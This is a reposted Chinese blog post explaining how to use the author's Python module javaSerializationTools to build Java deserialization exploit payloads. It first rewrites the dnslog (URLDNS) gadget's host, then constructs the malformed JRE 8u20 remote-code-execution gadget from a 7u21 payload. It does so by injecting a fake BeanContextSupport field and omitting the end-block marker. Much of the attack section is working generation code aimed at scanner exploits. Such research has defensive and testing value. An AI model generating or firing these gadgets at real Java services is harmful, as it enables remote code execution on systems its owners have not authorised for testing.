使用python javaSerializationTools模塊拼接生成 8u20 Gadget


簡介

最近受朋友所托,在使用python寫掃描器關於java反序列化漏洞的exp中,一直無法簡便的生成payload。目前來說只有兩種方法:

  1. python通過命令調用java的Ysoerial.jar 去獲取gadget。 缺點太多了,還要在線上環境中准備一個jdk,對於特殊的gadget,比如7u21 這種payload,還需要准備多個版本的jdk。
  2. python直接寫死gadget的字節碼。

當然,上面兩種方法都有一個最致命的缺點,那就是無法隨意更改Suid值等反序列化屬性。在反序列化攻擊的場景中。經常會出現suid不一致而導致無法攻擊成功的案例,當然,各種奇技淫巧都是在jar包中想辦法,而很少有人在反序列化文件上動手。

於是,我按照java反序列化協議標准,使用python編寫一個模塊,可以做到自由讀寫java反序列化文件。當然,后期也可能會推出Java版。

生成8u20 gadget才是最具有挑戰的事,因為網上的工具,操作起來基本都很復雜,需要手工計算handle等復雜操作。這對一個不懂java反序列化協議的人來講,十分不友好。而且,8u20 gadget是一個畸形的反序列化數據。生成它需要很多復雜的工作

我們先從dnslog說起,從易到難,看一下如何使用javaSerializationTools模塊讀寫java序列化文件

修改Dnslog gadget的網址

在這里我們不關心dnslog這個gadget是如何觸發的,我們只關心如何修改dnslog地址。

修改dnslog的地址,其實也就是修改java.net.URL對象的host字段的值。所以我們先讀取一個dnslog的反序列化文件,解析成功后保存為yaml文本格式的模板。

json 不支持復雜對象的存儲,比如java中經常會出現對象的循環引用,json無法表達這種關系,而yaml可以表達,但是犧牲部分可讀性。主要為了降低工作量

示例代碼如下:

    with open("../files/dnslog.ser", "rb") as f:
        a = ObjectRead(f)
        dnslog = a.readContent()

在這里我使用模塊的javaObject類去表示一個java類。因為在反序列化數據中,只有對象,對象中的字段以及對象的類,如果存在額外數據,則添加到javaObject對象中的objectAnnoation列表中。下面我們來看截圖,看一下dnslog是如何被解析的

loadFactorthreshold是HasnMap對象的兩個屬性,在這里沒什么好說的。下面來說一下我是如何保存java對象中字段的值。

在java中某個類可能繼承自父類,父類也可能繼承自爺爺類。java為了精准的保存某個對象,會將對象所有的字段都保存下來。在反序列化還原對象中,首先讀取對象的類的描述。也就是如上圖中javaClass所表示的一樣。隨后在還原對象的值中,會按照讀取的類的描述中字段的順序,先讀取父類的值,再讀取子類的值。所以我將字段保存為多維數組,按層保存。其中字段的順序與javaCLass中描述的字段順序必須一致。

下面再講一下 objectAnnoation。在反序列化中,默認保存對象的所有值。但是對於HashMap這種對象來講,對象中的值,也就是key和value是不固定的,沒有辦法保存。這時需要writeObject和readObject方法。writeObject方法是寫入對象中額外的對象的特殊方法。經過writeObject方法寫入的內容,會被寫入到ObjectAnnotation中。readObject讀取,也是讀取ObjectAnnotation中的信息。在反序列化中,首先寫入父類的字段值,如果父類存在writeObject,則再調用writeObject寫入額外信息。然后再寫入子類的字段值。writeObject函數在調用成功后,會向ObjectAnnotation中寫入EndBlock標識終結。

對於hashmap對象來說,key和value分別存放到ObjectAnnotation中。我們需要想辦法修改URL對象的host字段。URL對象的布局如下圖所示

修改起來很簡單,代碼如下

    dnslogUrl = 'bza4l5.dnslog.cn'

    with open('dnslog.yaml', "r") as f:
        dnslog = yaml.load(f, Loader=yaml.FullLoader)
    UrlObject = dnslog.objectAnnotation[2]
    # 修改java.net.URL的host屬性為新的dnslog地址
    dnslog.objectAnnotation[1].fields[0][4].value.string = dnslogUrl

    with open('dnslog.ser', 'wb') as f:
        ObjectWrite(f).writeContent(dnslog)

dnslog.yaml 截圖如下

生成 JRE 8u20 gadget

上面簡單對象已經講完了,下面我們來說一下復雜對象的讀寫。我們只需要大概了解jre 7u21 payload的觸發流程即可。以及修復方式如何被繞過的。

7u21的gadget中 LinkedHashMapreadObject觸發sun.reflect.annotation.AnnotationInvocationHandler,最終觸發RCE。修復方法如下圖所示。readObject中會判斷反序列化的類型,如果不是所期望的,則直接拋出異常。

我們還需要回顧剛才講的writeObject方法。假如一個對象在序列化過程中,調用writeObject方法。則java序列化中,是不會序列化任何字段值,一切交由對象的writeObject方法去處理。所以一般的writeObject方法中,只是保存額外信息,對象的字段值,統統交由defaultReadObject()去處理。

雖然sun.reflect.annotation.AnnotationInvocationHandler拋出了異常,但是對象以及所有的屬性,其實已經還原完畢了。並且后面也可以調用。

我們分析一下原因,打開java序列化協議標准中關於還原對象的部分或者我自寫的ObjectRead類的readObject方法

https://github.com/potats0/javaSerializationTools/blob/main/javaSerializationTools/ObjectRead.py#L150

在java序列化協議中,為了防止循環引用,或者為了節約序列化后空間,會將出現一摸一樣的對象中第二個相同的對象使用reference代替,你可以理解為c語言的指針。在還原對象中,首先為被還原對象建立reference,其次再還原對象的值。

sun.reflect.annotation.AnnotationInvocationHandler的readObject中,我們可以看到拋出異常的代碼后面,也沒有額外信息可以供我們讀取。所以,即使拋出了異常,但是對象也是被成功還原的,拋出異常前,對象的所有字段其實已經被還原完成了。所以我們想辦法攔截異常信息,不打斷正常的反序列化流程即可。這就是8u20 gadget的通俗解釋。

在這里我們直接看java.beans.beancontext.BeanContextSupport#readChildren方法。在這里讀取了額外的對象,並且也捕獲異常信息。並沒有打斷正常的反序列化流程。

剛才我們說過,ObjectAnnotation的結尾,存放JavaEndBlockData去標識本對象的ObjectAnnotation結束。但是現在拋出異常導致BeanContextSupport的ObjectAnnotation中JavaEndBlockData無法被正常處理。如果我們不刪除這個javaEndBlock,就會導致后面讀取全部錯誤。這也就是jre 8u20無法被第三方軟件解析成功的原因。所以我們在生成BeanContextSupport中不能按照規定,在ObjectAnnotation的結尾處生成JavaEndBlockData標識。這也就是8u20 畸形數據的來源。

下面我們來看一下7u21 的解析結果,如圖

我們剛說過,在反序列化流程中,一般都是首先還原對象中字段的值,再還原objectAnnotation中的值。我們只需要插入一個虛假的字段到LinkedHashSet中,java反序列化中,如果遇到虛假的反序列化值,是不會影響正常的反序列化的流程的。

說起來容易做起來難,java序列化是不會生成這種畸形數據的。手工修改7u21的payload,插入一個新對象的話,后面所有的引用都需要一一修改。這個工作量聽起來就很嚇人,而且很容易出錯。

所以我使用 javaSerializationTools模塊,修改7u21的gadget,自動計算引用等。

首先向LinkedHashSet中添加一個新的字段,名字叫fake,類型為BeanContextSupport

代碼如下


with open("../files/7u21.ser", "rb") as f:
    a = ObjectRead(f)
    obj = a.readContent()


# 第一步,向HashSet添加一個假字段,名字fake
signature = JavaString("Ljava/beans/beancontext/BeanContextSupport;")
fakeSignature = {'name': 'fake', 'signature': signature}
obj.javaClass.superJavaClass.fields.append(fakeSignature)

然后構造BeanContextSupport對象的值

        # 構造假的BeanContextSupport反序列化對象,注意要引用后面的AnnotationInvocationHandler
        # 讀取BeanContextSupportClass的類的簡介
        with open('BeanContextSupportClass.yaml', 'r') as f1:
            BeanContextSupportClassDesc = yaml.load(f1.read(), Loader=yaml.FullLoader)

        # 向beanContextSupportObject添加beanContextChildPeer屬性
        beanContextSupportObject = JavaObject(BeanContextSupportClassDesc)
        beanContextChildPeerField = JavaField('beanContextChildPeer',
                                              JavaString('Ljava/beans/beancontext/BeanContextChild'),
                                              beanContextSupportObject)
        beanContextSupportObject.fields.append([beanContextChildPeerField])

        # 向beanContextSupportObject添加serializable屬性
        serializableField = JavaField('serializable', 'I', 1)
        beanContextSupportObject.fields.append([serializableField])

最后處理objectAnnotation,因為BeanContextSupport的父類也有writeObject方法。根據協議,我們第一個值為javaEndBlock,第二個值才是sun.reflect.annotation.AnnotationInvocationHandler對象,在這里我們直接引用7u21 的AnnotationInvocationHandler對象。這樣,真正起作用的AnnotationInvocationHandler直接引用第一個成功還原的AnnotationInvocationHandler的對象。而引用的對象,再被引用的過程中是不會調用readObject方法的。

代碼如下

        # 向beanContextSupportObject添加objectAnnontations 數據
        beanContextSupportObject.objectAnnotation.append(JavaEndBlock())
        AnnotationInvocationHandler = obj.objectAnnotation[2].fields[0][0].value
        beanContextSupportObject.objectAnnotation.append(AnnotationInvocationHandler)

        # 把beanContextSupportObject對象添加到fake屬性里
        fakeField = JavaField('fake', fakeSignature['signature'], beanContextSupportObject)
        obj.fields[0].append(fakeField)

當然在這里不需要計算handle,只需要使用ObjectWrite對象寫入文件,即可自動計算handle等一切繁瑣的事

    with open("8u20.ser", 'wb') as f:
        o = ObjectWrite(f)
        o.writeContent(obj)

8u20 gadget 布局如下圖所示

完整的代碼詳見 https://github.com/potats0/javaSerializationTools/blob/main/tests/test8u20/main.py

歡迎fork star項目,目前還在設計中,使用起來將會更加容易

項目地址 https://github.com/potats0/javaSerializationTools


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM